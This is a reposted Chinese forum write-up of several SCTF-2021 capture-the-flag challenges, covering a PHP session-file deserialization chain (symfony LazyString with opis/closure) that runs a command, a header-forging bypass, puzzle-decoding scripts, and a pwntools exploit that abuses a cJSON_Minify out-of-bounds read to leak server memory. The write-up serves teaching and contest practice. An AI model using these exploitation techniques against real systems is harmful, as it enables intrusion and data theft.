安全矩阵

 找回密码
 立即注册
搜索
查看: 3997|回复: 0

SCTF-2021 部分WriteUp

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 14:09:57 | 显示全部楼层 |阅读模式
原文链接:SCTF-2021 部分WriteUp

Web
Loginme



代码审计,伪造X-Real-IP就行了,太简单的代码了没啥必要
Upload_it
composer.json中,引入了两个模块
  1. {
  2.     "name": "sctf2021/upload",
  3.     "authors": [
  4.         {
  5.             "name": "AFKL",
  6.             "email": "upload@qq.com"
  7.         }
  8.     ],
  9.     "require": {
  10.         "symfony/string": "^5.3",
  11.         "opis/closure": "^3.6"
  12.     }
  13. }
复制代码




我们通过composer install命令来安装这里两个模块
审计源码可以发现,文件上传的路径可控


但是通过测试,只有/tmp/目录有写权限




题目一般不会无缘无故做一些无意义操作,所以猜测composer引入的包是有助于做题的,百度找了下这两个模块作用如下:
symfony/string:操作字符串
参考文档:
https://symfony.com/doc/current/components/string.html
opis/closure:序列化闭包
参考文档:
https://opis.io/closure/3.x/serialize.html

序列化闭包,很容易联想到反序列化,那么我们就尝试找找有没有能触发反序列化的地方吧~

首先我们在index.php中可以看到session操作



然后看phpinfo中session的信息,save_handler为files,serialize_handler为php,save_path为空



猜一下session文件存放路径应该是/tmp/sess_xxxx(默认好像是在这里),结合上面分析的,我们可以上传自定义内容的sess_xxx文件来伪造session信息

由于serialize_handler设置为php,所以session文件格式应该为<元素名>|<元素值的序列化数据>,PHP在取元素值的时候会先对元素值进行反序列化,那么这里就是我们要找的反序列化点了。

我们可以通过构造如下请求来写入自定义的session数据



通过如下请求可以确定,我们上传的session文件确实被引用了(upload_path为我们定义的内容),但是/var/目录我们不可写所以题解没那么简单


根据上面的分析,思路就很清晰了,我们需要构造一个序列化payload,然后上传到/tmp/sess_xxx后,使用我们上传的sessID再上传一次文件达到触发反序列化的效果
​​
根据代码可知,引用$_SESSION["upload_path"]后使用点操作符来拼接字符串,所以如果我们的$_SESSION["upload_path"]是一个对象的话,就会触发__toString()。那么我们就需要找一个有__toString()且__toString()中有类似$this->xxx()这样操作用于触发闭包的类


通过phpstorm的项目内容搜索,我找到了完美符合要求的类=》LazyString


类文件位于刚刚composer安装的地方,\vendor\symfony\string\LazyString.php
我们进入这个文件,把构造函数改成如下(为啥知道是cat /flag?因为我省略了'ls /'  ????)


再把__toString()首行添加return 'xx';(不然待会序列化对象会出错)

然后在index.php同目录下新建test.php,内容如下:
  1. <?php
  2. include_once "../vendor/autoload.php";
  3. $a = new Symfony\Component\String\LazyString();
  4. $a = \Opis\Closure\serialize($a);
  5. echo $a;
复制代码

访问后生成序列化数据

注意图中标记的两个地方,需要填入%00然后选中-》ctrl+shift+u进行URL解码,因为value成员是私有成员

然后使用上面上传的sessID上传任意文件,触发反序列化读flag


Misc
This_is_A_tree
先序遍历j得到下面字符串

  1. import os
  2. a=r"./tree/"
  3. def read(a):
  4.     b=open(a + '/data').read()
  5.     print(b, end='')
  6.     if os.path.exists(a+'/letf'):
  7.         read(a+'/letf')
  8.     if os.path.exists(a+'/right'):
  9.         read(a+'/right')
  10. read(a)
复制代码


运行结果

Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==
base64解密

Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫
然后将“师兑复损巽震晋姤大过讼噬嗑震恒节豫”转换
  1. enc= "师兑复损巽震晋姤大过讼噬嗑震恒节豫"
  2. mydisc={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
  3. keys=['坤', '剥', '比', '观', '豫', '晋', '萃', '否', '谦', '艮', '蹇', '渐', '小过', '旅', '咸', '遁', '师', '蒙', '坎', '涣', '解', '未济', '困', '讼', '升', '蛊', '井', '巽', '恒', '鼎', '大过', '姤', '复', '颐', '屯', '益', '震', '噬嗑', '随', '无妄', '明夷', '贲', '既济', '家人', '丰', '离', '革', '同人', '临', '损', '节', '中孚', '归妹', '睽', '兑', '履', '泰', '大畜', '需', '小畜', '大壮', '大有', '夬', '乾']
  4. def decrypt():
  5.    global mingwen
  6.    mingwen=enc
  7.    for each in keys:
  8.        mingwen=mingwen.replace(each,mydisc[each])
  9.    print(mingwen)
  10. if __name__ == '__main__':
  11.    decrypt()
复制代码

字符转换成二进制得到

010000110110100000110001011011100100000101011111011110010111100101100100011100110010000100
然后解码二进制

Ch1nA_yyds!
★fumo_xor_clinc进去按住回车有链接,访问进去是微信的专访,底部照片可以发现有一些点,但不是缩略图,ps观察坐标发现是间隔9个位置
写脚本提取就行了
题目叫做xor cli,nc进去后会有彩色段,那就是把彩色的空间内容跟图片提出来的彩色色块进行xor就好了,这里的话懒得贴图了,你们也看得懂(主要是图片删了
彩色代码这里直接这样提取 nc ip port > 123
然后把非彩色内容手工删掉就ok了
撰写脚本
  1. from PIL import Image
  2. pic = Image.open('TpMSkq.png')
  3. f = open('aaaaa','r').readlines()
  4. for i in range(len(f)):
  5. f[i] = f[i].split('[')
  6. for j in range(1, len(f[i])):
  7. f[i][j] = f[i][j].split(';')
  8. w,h = pic.size
  9. img = Image.new('RGB',(100,134),(255,255,255))
  10. k = 1
  11. b = 1
  12. time=0
  13. img2 = Image.new('RGB',(100,134),(0,0,0))
  14. for i in range(100):
  15. for j in range(1,134):
  16. tmp = pic.getpixel((b,k))
  17. #print((tmp[0]^int(f[i][j][2]),tmp[1]^int(f[i][j][3]),tmp[3]^int(f[i][j][4][:-3])))
  18. #img.putpixel((i,j-1),tmp)
  19. #img2.putpixel((i,j-1),((int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3]))))
  20. #print((int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3])))
  21. img.putpixel((i,j-1),(tmp[0]^int(f[i][j][2]),tmp[1]^int(f[i][j][3]),tmp[2]^int(f[i][j][4][:-3])))
  22. #pic.putpixel((i,j-1),(int(f[i][j][2]),int(f[i][j][3]),int(f[i][j][4][:-3])))
  23. if(k<=1200):
  24. k+=9
  25. else:
  26. break
  27. if(b<=w):
  28. b+=9
  29. k=1
  30. else:
  31. break   
  32. time+=1
  33. if time == 10:
  34. exit
  35. img.show()
  36. #img2.show()
  37. #img.save('1.png')
  38. print(w,h)
复制代码

最后就能看见了★in_the_vaporwaves错失三血的题目属于是,直接拖入au,然后调整一下


拉大,然后看波形就能看出来了


morse
PWN
​​
★dataleak



这里面存在一个可疑的函数cJSON_Minify,由于函数没有溢出,所以问题肯定在这个函数上,在网上找到对应版本的cJSON_Minify函数源码来查看下:

  1. CJSON_PUBLIC(void) cJSON_Minify(char *json)
  2. {
  3.     unsigned char *into = (unsi gned char*)json;
  4.     if (json == NULL)
  5.     {
  6.         return;
  7.     }
  8.     while (*json)
  9.     {
  10.         if (*json == ' ')
  11.         {
  12.             json++;
  13.         }
  14.         else if (*json == '\t')
  15.         {
  16.             /* Whitespace characters. */
  17.             json++;
  18.         }
  19.         else if (*json == '\r')
  20.         {
  21.             json++;
  22.         }
  23.         else if (*json=='\n')
  24.         {
  25.             json++;
  26.         }
  27.         else if ((*json == '/') && (json[1] == '/'))
  28.         {
  29.             /* double-slash comments, to end of line. */
  30.             while (*json && (*json != '\n'))
  31.             {
  32.                 json++;
  33.             }
  34.         }
  35.         else if ((*json == '/') && (json[1] == '*'))
  36.         {
  37.             /* multiline comments. */
  38.             while (*json && !((*json == '*') && (json[1] == '/')))
  39.             {
  40.                 json++;
  41.             }
  42.             json += 2;
  43.         }
  44.         else if (*json == '"')
  45.         {
  46.             /* string literals, which are " sensitive. */
  47.             *into++ = (unsigned char)*json++;
  48.             while (*json && (*json != '"'))
  49.             {
  50.                 if (*json == '\\')
  51.                 {
  52.                     *into++ = (unsigned char)*json++;
  53.                 }
  54.                 *into++ = (unsigned char)*json++;
  55.             }
  56.             *into++ = (unsigned char)*json++;
  57.         }
  58.         else
  59.         {
  60.             /* All other characters. */
  61.             *into++ = (unsigned char)*json++;
  62.         }
  63.     }
  64.     /* and null-terminate. */
  65.     *into = '\0';
  66. }
复制代码


这个函数实现了一个简单的数据压缩功能,就是相当于把C语言注释内容去掉,由于边界检查不严格的问题,会导致多复制一段内存导致溢出,所以可以很简单地输入/*来泄露出目标服务器上的内容,当然使用"也可以实现,但是要读取22个字符地缘故,输入"无法泄露出足够的数目,所以这里输入/*来实现。


这样我没就泄露出数据了
这个漏洞也在github中报告过
https://github.com/DaveGamble/cJSON/issues/337
https://github.com/DaveGamble/cJSON/issues/338
一开始我以为是通过这种方法来getshell,最后远程试了下才发现提交泄露数据就行,白白做了好久
exp
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. '''
  4. @File    :   exp.py
  5. @Time    :   2021/12/25 09:37:16
  6. @Author  :   eur1ka  
  7. @Version :   3.8
  8. @Contact :   eur1ka@163.com
  9. '''
  10. # here put the import lib
  11. from pwn import *
  12. from LibcSearcher import *
  13. import pwnlib
  14. debug = 0
  15. context.log_level = 'debug'
  16. context.arch = 'amd64'
  17. context.terminal = ['tmux','splitw','-h']
  18. IP="124.70.202.226"
  19. port=2101
  20. file_name = "./cJSON_PWN"
  21. try:
  22.     libc_path = ""
  23.     libc = ELF(libc_path)
  24. except:
  25.     pass
  26. menu = ""
  27. elf=ELF(file_name)
  28. if debug:
  29.     sh = process(file_name)
  30. else:
  31.     sh = remote(IP,port)
  32. def debug():
  33.     gdb.attach(sh)
  34.     pause()
  35. def cmd(choice):
  36.     sh.recvuntil(menu)
  37.     sh.sendline(str(choice))
  38. payload = 'a'*12
  39. payload += "/*"
  40. sh.send(payload)
  41. payload = "aaaa/*"
  42. payload += 'a'*8
  43. sh.send(payload)
  44. info = sh.recv(12)
  45. payload = "aa/*"
  46. payload += 'a'*10
  47. sh.send(payload)
  48. payload = "aaa/*"
  49. payload += 'a'*9
  50. sh.send(payload)
  51. info += sh.recv(12)
  52. # print(info)
  53. sh.sendline(info)
  54. sh.interactive()
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:32 , Processed in 0.013564 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表